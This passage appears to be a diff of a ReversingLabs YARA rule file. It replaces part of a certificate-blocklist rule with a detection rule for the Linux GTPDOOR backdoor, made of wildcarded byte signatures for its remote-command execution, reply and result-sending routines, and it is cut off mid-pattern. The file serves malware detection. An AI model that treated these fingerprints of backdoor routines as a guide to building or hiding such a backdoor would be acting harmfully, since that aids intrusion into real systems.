"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4930-L4948" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.GTPDOOR.yara#L1-L264" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4840b311c1e2c0ae14bb2cf6fa8d96ab1a434ceac861db540697f3aed1a6833f" + logic_hash = "b7b4b33b7838142e34c6d02260b6585305c4730c90e12b1adc099f9aeecf071a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "GTPDOOR" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unique Digital Services Ltd." and ( pe.signatures [ i ] . serial == "00:66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7" or pe.signatures [ i ] . serial == "66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7" ) and 1594942800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_51Aead5A9Ab2D841B449Fa82De3A8A00 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "c4909945-f2f1-53b2-b438-edf411fda7ed" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4950-L4966" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e53095aab9d6c2745125e8cd933334ebc2e51a9725714d31a46baa74b8e42ed9" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $send_result_to_peer_v1_p1 = { + 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 66 89 85 ?? ?? ?? ?? 66 89 95 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 81 BD ?? ?? ?? ?? ?? ?? 77 ?? 0F B7 8D + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? 89 C7 89 D6 FC F3 A4 EB ?? 8D 85 ?? ?? ?? ?? + 8B 55 ?? 89 C1 B8 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? + 8B 55 ?? 8B 45 ?? 89 42 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 89 C2 8D 85 ?? ?? ?? + ?? 01 D0 89 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 0F B7 40 ?? 66 89 45 ?? 8B 45 + ?? 0F B7 10 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B7 45 ?? 66 89 02 8B 45 ?? 89 C2 8D 85 + ?? ?? ?? ?? 01 D0 89 45 ?? 8B 45 ?? C6 40 ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? + 89 C2 8D 85 ?? ?? ?? ?? 01 D0 89 45 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? 66 81 BD ?? ?? ?? + ?? ?? ?? 76 ?? 8B 45 ?? 83 C0 ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? + 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? EB ?? 8B + 45 ?? 83 C0 ?? 0F B7 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 45 ?? + 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 83 + } + $send_result_to_peer_v1_p2 = { + C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B7 85 + ?? ?? ?? ?? 66 89 42 ?? 8B 45 ?? 0F B7 40 ?? 83 C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? + ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 50 ?? 8B 45 ?? 0F B7 40 ?? 8D 04 02 8D + 50 ?? 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 + C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 66 89 + 45 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? 0F B7 4D ?? 8B 5D ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 8B + 40 ?? 89 4C 24 ?? 89 5C 24 ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B6 42 ?? 83 C8 ?? 88 42 ?? 0F B7 45 ?? + 83 C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 66 C7 + 40 ?? ?? ?? 0F B7 45 ?? 83 C0 ?? 8D 95 ?? ?? ?? ?? 89 44 24 ?? 89 14 24 E8 ?? ?? ?? + ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? + ?? ?? ?? 8B 45 ?? 0F B7 40 ?? 66 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F B7 45 ?? 83 + C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 85 + ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F + 5D C3 + } + $execute_remote_command_v1 = { + 55 89 E5 57 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? + B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 03 45 + ?? 66 C7 00 ?? ?? C6 40 ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B + 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 66 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? + ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 0F B7 45 ?? 89 C2 03 55 ?? 8B 45 ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 45 ?? + B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 0F B7 C0 89 45 ?? EB ?? 8B 45 + ?? 89 04 24 E8 ?? ?? ?? ?? 88 45 ?? 80 7D ?? ?? 74 ?? 0F B7 45 ?? 89 C2 03 55 ?? 0F + B6 45 ?? 88 02 66 83 45 ?? ?? 66 81 7D ?? ?? ?? 76 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? + ?? 0F B7 45 ?? 89 45 ?? 8B 45 ?? 83 C4 ?? 5F 5D C3 + } + $send_reply_v1_p1 = { + 55 89 E5 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 + 45 ?? 8D 85 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 14 24 E8 ?? ?? ?? ?? 8B 55 ?? 0F B6 02 83 E0 ?? 83 C8 ?? 88 02 8B 55 ?? 0F B6 02 83 + E0 ?? 83 C8 ?? 88 02 8B 45 ?? C6 40 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 + 8B 45 ?? 66 89 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? + C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E0 ?? 8B 55 ?? 89 C1 83 E1 ?? 0F B6 42 ?? 83 + E0 ?? 09 C8 88 42 ?? 8B 45 ?? 0F B6 50 ?? 8B 45 ?? 88 50 ?? 8B 45 ?? C6 40 ?? ?? 8B + 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? C7 44 24 ?? ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 + ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? + ?? 89 45 ?? 8B 45 ?? 0F B7 50 ?? 8B 45 ?? 66 89 10 8B 45 ?? 0F B7 10 8B 45 ?? 66 89 + 50 ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? + ?? ?? ?? 66 89 45 ?? 0F B7 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 89 50 ?? 8B 45 ?? 89 04 24 E8 ?? ?? + ?? ?? 89 C2 8B 45 ?? 89 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 + 89 50 ?? EB ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 C2 8B 45 ?? 89 50 ?? 8B 45 ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 89 + } + $send_reply_v1_p2 = { + 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B6 + 42 ?? 83 E0 ?? 88 42 ?? 8B 55 ?? 0F B6 42 ?? 83 E0 ?? 83 C8 ?? 88 42 ?? 8B 45 ?? C6 + 40 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 8B + 40 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 + 85 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? + 8D 85 ?? ?? ?? ?? 8D 48 ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? + 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 + 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 + 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? + 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8B + 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 + } + $send_reply_v1_p3 = { + 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8D 85 ?? ?? ?? ?? 8D 48 + ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 + ?? 89 41 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 95 + ?? ?? ?? ?? A1 ?? ?? ?? ?? 39 C2 0F 85 ?? ?? ?? ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 74 ?? + 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 8B 04 C5 ?? ?? ?? ?? 85 C0 75 + ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 8B 14 C5 ?? ?? ?? ?? B8 ?? + ?? ?? ?? 29 D0 89 C1 B8 ?? ?? ?? ?? D3 E0 89 45 ?? 8B 45 ?? 8B 04 C5 ?? ?? ?? ?? 23 + 45 ?? 89 45 ?? 8B 45 ?? 23 45 ?? 89 45 ?? 8B 45 ?? 3B 45 ?? 75 ?? C7 45 ?? ?? ?? ?? + ?? EB ?? 83 45 ?? ?? 83 7D ?? ?? 7E ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? + ?? 75 ?? 8B 45 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + 8B 0D ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + } + $daemon_already_running_check_v1 = { + 55 89 E5 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 74 ?? E8 + ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? EB ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE + 89 C8 F7 D0 83 E8 ?? 83 C0 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 5F 5D C3 + } + $send_result_to_peer_v2_p1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89 8D ?? + ?? ?? ?? 44 89 C0 66 89 95 ?? ?? FF FF 66 89 85 ?? ?? FF FF 48 8D BD ?? ?? ?? ?? BA + ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 81 BD ?? ?? FF FF + ?? ?? 77 ?? 0F B7 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C7 + 48 89 D6 FC F3 A4 EB ?? 48 8D 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C7 48 89 D6 + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? + 89 45 ?? 48 8B 45 ?? 8B 50 ?? 48 8B 45 ?? 89 50 ?? 48 8B 55 ?? 8B 45 ?? 89 42 ?? 8B + 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 + 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 48 8B 45 ?? 0F B7 40 ?? 66 89 45 ?? 48 8B 45 ?? 0F + B7 10 48 8B 45 ?? 66 89 50 ?? 48 8B 55 ?? 0F B7 45 ?? 66 89 02 8B 45 ?? 48 98 48 89 + C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? C6 40 ?? ?? 8B 45 ?? 83 C0 + ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 48 8B + 45 ?? 66 C7 40 ?? ?? ?? 66 81 BD ?? ?? FF FF ?? ?? 76 ?? 48 8B 45 ?? 48 83 C0 ?? BF + ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 49 89 C0 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? + ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 66 C7 40 + ?? ?? ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 0F B7 8D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8B 95 + ?? ?? ?? ?? 49 89 C0 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 83 C0 ?? 0F + } + $send_result_to_peer_v2_p2 = { + B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 55 ?? 0F B7 85 ?? ?? ?? ?? + 66 89 42 ?? 48 8B 45 ?? 0F B7 40 ?? 83 C0 ?? 0F B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 + ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 50 ?? 48 8B 45 ?? 0F B7 40 ?? 8D 04 02 8D 50 ?? 48 + 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 + ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 66 89 45 ?? 48 8B 45 + ?? 66 C7 40 ?? ?? ?? 0F B7 4D ?? 48 8B 7D ?? 48 8B 45 ?? 8B 50 ?? 48 8B 45 ?? 8B 70 + ?? 41 89 C8 48 89 F9 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 + 8B 55 ?? 0F B6 42 ?? 83 C8 ?? 88 42 ?? 0F B7 45 ?? 83 C0 ?? 0F B7 F8 E8 ?? ?? ?? ?? + 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 66 C7 40 ?? ?? ?? 0F B7 45 ?? 83 C0 ?? 89 + C6 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 8B + 40 ?? 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 8B 45 ?? 0F B7 40 ?? 66 89 85 + ?? ?? FF FF 48 8D 95 ?? ?? ?? ?? 0F B7 45 ?? 48 83 C0 ?? 48 8D B5 ?? ?? ?? ?? 8B BD + ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 D0 B9 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? C9 C3 + } + $execute_remote_command_v2 = { + 55 48 89 E5 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 8B 75 ?? 48 8B 7D ?? E8 ?? ?? ?? + ?? 48 8B 45 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 45 ?? B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE + 48 89 C8 48 F7 D0 48 83 E8 ?? 48 03 45 ?? 66 C7 00 ?? ?? C6 40 ?? ?? 48 8B 45 ?? 48 + C7 C1 ?? ?? ?? ?? 48 89 45 ?? B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE 48 89 C8 48 F7 D0 + 48 83 E8 ?? 66 89 45 ?? 48 8B 7D ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 98 48 89 45 ?? 48 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 48 8B 7D + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 48 89 C7 48 03 7D ?? 48 8B 55 ?? BE ?? + ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 45 ?? + B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE 48 89 C8 48 F7 D0 48 83 E8 ?? 0F B7 C0 89 45 ?? + EB ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 88 45 ?? 80 7D ?? ?? 74 ?? 0F B7 45 ?? 48 89 C2 48 + 03 55 ?? 0F B6 45 ?? 88 02 66 83 45 ?? ?? 66 81 7D ?? ?? ?? 76 ?? 48 8B 7D ?? B8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 89 45 ?? 8B 45 ?? C9 C3 + } + $main_routine_v2_p1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 48 8D BD ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 48 8B 00 48 C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 + 8B BD ?? ?? ?? ?? F2 AE 48 89 C8 48 F7 D0 48 83 E8 ?? 48 83 F8 ?? 76 ?? 48 8B 85 ?? + ?? ?? ?? 48 8B 00 48 C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 8B + BD ?? ?? ?? ?? F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8B 85 ?? ?? ?? ?? 48 8B 00 48 + 89 C7 FC 48 89 D1 B8 ?? ?? ?? ?? F3 AA 48 8B 85 ?? ?? ?? ?? 48 8B 00 C7 00 ?? ?? ?? + ?? C7 40 ?? ?? ?? ?? ?? 66 C7 40 ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? + 75 ?? E8 ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8D ?? + ?? ?? ?? 8B 7D ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 + C0 79 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 BA ?? ?? + ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 8B 7D ?? B9 ?? ?? ?? ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 7E ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 + ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 + } + $main_routine_v2_p2 = { + 45 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 8B 45 ?? 83 + C0 ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 8B + 45 ?? 83 C0 ?? 89 45 ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 + 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 48 8B 45 ?? 48 83 C0 ?? 48 8D 95 ?? ?? ?? ?? 8B 00 89 02 8B 95 ?? ?? ?? ?? 8B 05 ?? + ?? ?? ?? 39 C2 74 ?? 8B 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C8 48 8B 45 ?? 0F B6 + 40 ?? 0F B6 D0 8B 75 ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 48 + 83 C6 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C8 48 8B 55 ?? 48 83 C2 ?? BF ?? ?? ?? ?? 49 + 89 F0 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 84 C0 0F 84 ?? ?? ?? ?? + 48 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? 48 8B 45 ?? 48 83 C0 ?? 8B 00 89 05 ?? ?? ?? ?? + 48 8D BD ?? ?? ?? ?? FC B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AA 48 8D 85 ?? ?? ?? ?? 48 + } + $main_routine_v2_p3 = { + C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 8B BD ?? ?? ?? ?? F2 AE + 48 89 C8 48 F7 D0 48 83 E8 ?? 0F B7 C8 4C 8D 8D ?? ?? ?? ?? 8B 45 ?? 0F B7 D0 48 8D + B5 ?? ?? ?? ?? 8B 7D ?? 41 89 C8 4C 89 C9 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? + 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 75 ?? BE ?? ?? ?? + ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? BA ?? ?? + ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F + B7 D0 48 8B 7D ?? 48 83 C7 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? + 0F B7 D0 8B 05 ?? ?? ?? ?? 8D 04 02 89 05 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 50 ?? 0F B7 + 05 ?? ?? ?? ?? 66 39 C2 0F 84 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 + 05 